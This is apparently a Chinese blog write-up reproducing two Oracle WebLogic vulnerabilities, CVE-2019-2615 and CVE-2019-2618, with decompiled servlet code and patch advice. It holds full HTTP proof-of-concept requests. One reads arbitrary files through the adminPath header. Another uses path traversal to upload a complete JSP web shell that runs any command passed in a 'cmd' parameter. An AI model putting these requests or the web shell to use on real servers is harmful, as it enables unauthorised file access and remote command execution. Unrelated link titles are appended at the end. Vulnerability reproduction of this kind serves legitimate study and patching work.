引言

weblogic中两个CVE漏洞比较有意思,所以复现一下,该两个漏洞需要在poc中加入用户名和密码(cookie)才能实现。

环境搭建

环境搭建: 首先安装weblogic 下载地址 http://www.oracle.com/technetwork/cn/middleware/weblogic/downloads/wls-main-091116-zhs.html

安装目录没特别需求可以不更改,一路下一步。

把复选框去掉:

全选:

(已安装的图片)

(安装包捆绑在jdk1.6,上一步安装完成) 可以默认:

正在安装:

安装完成。

打开Oracle然后选择Getting startedwith WebLogic Server:

配置weblogic界面:

域源全选:

一直默认直到设置密码选项:

选择开发模式。

全选。

剩下的默认就行 安装完毕。 在安装目录下找到启动程序。

startWeblogic.cmd 启动成功后,试试能否访问weblogic控制台。 Url:http://192.168.219.131:7001/console/login/LoginForm.jsp

CVE-2019-2615任意文件读取

漏洞分析 该功能的关键代码在weblogic.management.servlet.FileDistributionServlet的 doGet()方法中:

public void doGet(final HttpServletRequest var1, final HttpServletResponsevar2) throws ServletException, IOException {

AuthenticatedSubject var3 = this.authenticateRequest(var1, var2);

if(var3 != null) {

final String var4 =var1.getHeader("wl_request_type");

if(var3 != KERNEL_ID) {

AdminResource var5 = newAdminResource("FileDownload", (String)null, var4);

if(!this.am.isAccessAllowed(var3, var5,(ContextHandler)null)) {

ManagementLogger.logErrorFDSUnauthorizedDownloadAttempt(var3.getName(), var4);

var2.sendError(401);

return;

}

}

try {

if(debugLogger.isDebugEnabled()) {

debugLogger.debug("---->doGet incoming request: " + var4);

}

if(var4.equals("wl_xml_entity_request")) {

this.doGetXMLEntityRequest(var1, var2);

} elseif(var4.equals("wl_jsp_refresh_request")) {

this.doGetJspRefreshRequest(var1, var2);

} else if(var4.equals("file")) {

this.doGetFile(var1, var2);

} elseif(!var4.equals("wl_init_replica_request") &&!var4.equals("wl_file_realm_request") &&!var4.equals("wl_managed_server_independence_request")) {

var2.addHeader("ErrorMsg", "Bad request type");

String var10 =Utils.encodeXSS(var4);

var2.sendError(400, "Bad requesttype: " + var10);

ManagementLogger.logBadRequestInFileDistributionServlet(var4);

} else {

......

......

}

}

} catch (Exception var9) {

if(!Kernel.isInitialized()) {

throw newAssertionError("kernel not initialized");

}

ManagementLogger.logErrorInFileDistributionServlet(var4, var9);

}

}

}

选取request中header的参数"wlrequesttype" 的值,然后判断如果该值等于“wlxmlentityrequest”、“wljsprefreshrequest”、 “file”…则分别调用各自的方法,进入下一步判断。如果wlrequesttype的值为“wljsprefresh_request” ,进入doGetJspRefreshRequest()方法:

private void doGetJspRefreshRequest(HttpServletRequest var1,HttpServletResponse var2) throws IOException {

String var3 = var1.getHeader("adminPath");

try {

FileInputStream var4 = new FileInputStream(var3);

try {

var2.setContentType("text/plain");

var2.setStatus(200);

this.returnInputStream(var4,var2.getOutputStream());

} finally {

var4.close();

}

} catch (IOException var10) {

String var5 = "I/O Exception getting resource:" + var10.getMessage();

var2.addHeader("ErrorMsg", var5);

var2.sendError(500, var5);

}

}

doGetJspRefreshRequest()方法中的“adminPath”也是request 中的header参数,在Post包中传入要读取的文件。进入该方法中,直接使用FileInputStream 类进行文件读取,故造成了所谓的“任意文件读取”漏洞。

漏洞复现 访问URL:http://192.168.219.131:7001/beawlsmanagementinternal2/wlmanagement 采用BurpSuite抓包:

将POC加入包中:

POC为:

GET /bea_wls_management_internal2/wl_management HTTP/1.1

Host: 192.168.219.131:7001

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36(KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6

Connection: close

username:weblogic

password:12345678

wl_request_type:wl_jsp_refresh_request

adminPath:C:python27123.txt

Upgrade-Insecure-Requests: 1

发送该包发现:

检查原机的文件发现:

修复建议 升级补丁。Oracle官方更新链接地址:https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html 。 或者直接删除了requestType的“wljsprefresh_request” 参数的判断,同时也删除了doGetJspRefreshRequest()方法。

CVE-2019-2618文件上传漏洞

漏洞分析 DeploymentServiceServlet类的handlePlanOrApplicationUpload()方法:

private final void handlePlanOrApplicationUpload(HttpServletRequest var1,HttpServletResponse var2, AuthenticatedSubject var3) throws IOException {

String var4 =mimeDecode(var1.getHeader("wl_upload_application_name"));

String var5 = ApplicationVersionUtils.getApplicationName(var4);

String var6 = ApplicationVersionUtils.getVersionId(var4);

String var7 = mimeDecode(var1.getHeader("wl_request_type"));

if(var5 == null) {

Loggable var24 =DeploymentServiceLogger.logRequestWithNoAppNameLoggable(var7);

logAndSendError(var2, 403, var24);

} else {

String var8 = var1.getContentType();

if(var8 != null &&var8.startsWith("multipart")) {

boolean var25 = false;

String var10 =var1.getHeader("wl_upload_delta");

if(var10 != null && var10.equalsIgnoreCase("true")){

var25 = true;

}

boolean var11 =var7.equals("plan_upload");

boolean var12 ="false".equals(var1.getHeader("archive"));

if(this.isDebugEnabled()) {

this.debug(var7 + "request for application " + var5 + " with archive: " + var12);

}

String var13 = null;

if(var6 == null || var6.length() == 0) {

var13 =this.getUploadDirName(var5, var6, var25, var11, var12);

}

if(var13 == null) {

var13 =this.getDefaultUploadDirName();

if(var13 == null) {

Loggable var26 =DeploymentServiceLogger.logNoUploadDirectoryLoggable(var7, var5);

logAndSendError(var2, 500, var26);

return;

}

var13 = var13 + var5 +File.separator;

if(var6 != null) {

var13 = var13 +var6 + File.separator;

}

}

if(this.isDebugEnabled()) {

this.debug(" +++ FinaluploadingDirName : " + var13);

}

boolean var14 = true;

String var15 = null;

......

......

} else {

Loggable var9 = DeploymentServiceLogger.logBadContentTypeServletRequestLoggable(var7,var8);

logAndSendError(var2, 400, var9);

}

}

}

该方法主要是对POST包中的传入的headers进行处理,主要作用包括:获取请求包中的“wluploadapplication_name” 参数,然后判断是否为空;判断“content-type”;构造上传路径等。

漏洞复现 访问漏洞URL: http://192.168.219.131:7001/beawlsdeploymentinternal/DeploymentService 并使用BurpSuite抓包。![15644692145d3fe7de0f48a.png](https://image.3001.net/images/20190730/15644692145d3fe7de0f48a.png)将发包方式改成POST方式写入POC:![15644692215d3fe7e5e25b8.png](https://image.3001.net/images/20190730/1564469221_5d3fe7e5e25b8.png)POC为:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1

Host: 192.168.219.131:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

username: weblogic

wl_request_type: app_upload

cache-control: no-cache

wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war

serverName: weblogic

password: 12345678

Content-Type: multipart/form-data; boundary=--------

archive: true

server_version: 10.3.6.0

wl_upload_delta: true

Content-Length: 1044

Content-Disposition: form-data; name="shell.jsp";filename="shell.jsp"

Content-Type: false

%>

Commands with JSP

if (request.getParameter("cmd") != null) {

out.println("Command: " +request.getParameter("cmd") + "
");

Process p;

if (System.getProperty("os.name").toLowerCase().indexOf("windows")!= -1){

p = Runtime.getRuntime().exec("cmd.exe /C " +request.getParameter("cmd"));

}

else{

p = Runtime.getRuntime().exec(request.getParameter("cmd"));

}

OutputStream os = p.getOutputStream();

InputStream in = p.getInputStream();

DataInputStream dis = new DataInputStream(in);

String disr = dis.readLine();

while ( disr != null ) {

out.println(disr);

disr = dis.readLine();

}

}

%>

发送数据包发现浏览器出现下图:

访问URL:http://192.168.219.131:7001/beawlsinternal/shell.jsp?cmd=ipconfig

漏洞复现完成。

修复方案 Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞。

weblogic 文件打开数_Weblogic任意文件读取和任意文件上传相关推荐

  1. weblogic 文件打开数_WebLogic任意文件上传漏洞(CVE20192618)复现

    1.漏洞介绍 CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件.攻击者突破了OAM(Oracle Access ...

  2. Linux比较大文件内容,Linux系统最大文件打开数优化,解决Too many open files报错

    这是一个Linux系统常见的故障,网络上也能轻易的找到解决办法,我也只是在工作中遇到了这个问题,所以在博客记录下,以备不时之需. 一.报错截图: 图为resin的报错日志,很明显提示了Too many ...

  3. [转帖]备忘:CentOS-7 使用systemctl 管理的服务,文件打开数上限1024要改

    备忘:CentOS-7 使用systemctl 管理的服务,文件打开数上限1024要改 https://blog.csdn.net/toontong/article/details/50440272 ...

  4. linux查看文件打开限制,Linux最大文件打开数使用经验详解

    首先普及几个知识:Linux下一切都是文件,包括输入输出设备.网络连接.socket.管道等 与文件打开数最相关的是文件描述符(有的人喜欢称作文件标识符,英文为file descriptor),文件打 ...

  5. php上传文件大小读取,怎么修改php上传文件的大小限制?

    修改php上传文件大小限制的方法:首先打开php.ini配置文件:然后分别查找并修改"post_max_size"项."upload_max_filesize" ...

  6. dio 上传文件报错_Vue+Element UI实现断点续传、分片上传、秒传

    作者:Pseudo 转发链接:https://segmentfault.com/a/1190000023434864 凡是要知其然知其所以然 文件上传相信很多朋友都有遇到过,那或许你也遇到过当上传大文 ...

  7. Spring boot上传文件(图片)到阿里云OSS(直接上传到应用服务器)

    Spring boot上传文件(图片)到阿里云OSS(直接上传到应用服务器) 主要思路 上传图片的思路有两种: 第一种是上传到应用服务器,再由应用服务器上传到OSS.这种适合上传的文件较小,较为简单, ...

  8. 每天一个linux命令(文件上传下载文件操作):【转载】用SecureCRT来上传和下载文件...

    用SSH管理linux服务器时经常需要远程与本地之间交互文件.而直接用SecureCRT自带的上传下载功能无疑是最方便的,SecureCRT下的文件传输协议有ASCII.Xmodem.Zmodem. ...

  9. java实现MinIO文件上传,并将视频文件截图,将视频封面及视频通过MinIo上传到服务器中

    java实现MinIO文件上传,并将视频文件截图,将视频封面及视频通过MinIo上传到服务器中 配置完毕,接下来开始代码编写. 说明 总过程分为两步. 1.配置MinIO的环境. 2.代码编写. 下面 ...

最新文章

  1. 华为鸿蒙vivo,华为鸿蒙成功的关键:要让小米、OPPO、VIVO都用上鸿蒙
  2. mongodb可视化工具连接报错
  3. Windows 下启动前删除Resin日志等文件的bat命令
  4. sigaction函数学习
  5. **Java有哪些悲观锁的实现_Redis 分布式锁的正确实现方式(Java版)
  6. Hi3516A开发--挂载SD卡和U盘
  7. Java设计模式之创建型:单例模式
  8. 九零后程序员心塞大哭:“我累的心脏疼,父母却说我工作很轻松”
  9. Struts01---入门小案例
  10. VC中为对话框添加背景图片
  11. OpenStack 集群部署工具:ProStack
  12. 基于JAVA+SpringMVC+Mybatis+MYSQL的民宿客栈系统
  13. Java实验7 五、JVM抛出一个OutOfMemoryError的异常
  14. js获取当前url的ip+端口
  15. 机器学习:最小二乘支持向量机(Least Squares Support Vector Machine)
  16. 查看浏览器内核以及版本信息
  17. SAP菜单中添加事务操作实例
  18. 厦门八大美院墙绘 茶馆里的中国风墙绘壁画
  19. [长期更新]相似单词对比
  20. 以太坊构建DApps系列教程(二):构建TNS代币

热门文章

  1. PHP 五大运行模式
  2. PHP——0128练习相关2——js点击button按钮跳转到另一个新页面
  3. GridView中不能用If?
  4. CYYMysql 源码解读 3
  5. 大数据之-Hadoop3.x_MapReduce_编程规范---大数据之hadoop3.x工作笔记0086
  6. 持续集成部署Jenkins工作笔记0003---Web工程部署方式说明
  7. 嵌入式工作笔记0006---半导体中的IP核是什么意思
  8. SVN工作笔记006---SVN提交,提示“remains in conflict”错误
  9. 用lfw99.9的提取出来的特征在wuxiang的上面测试出来的结果
  10. C语言中宏定义和函数的取舍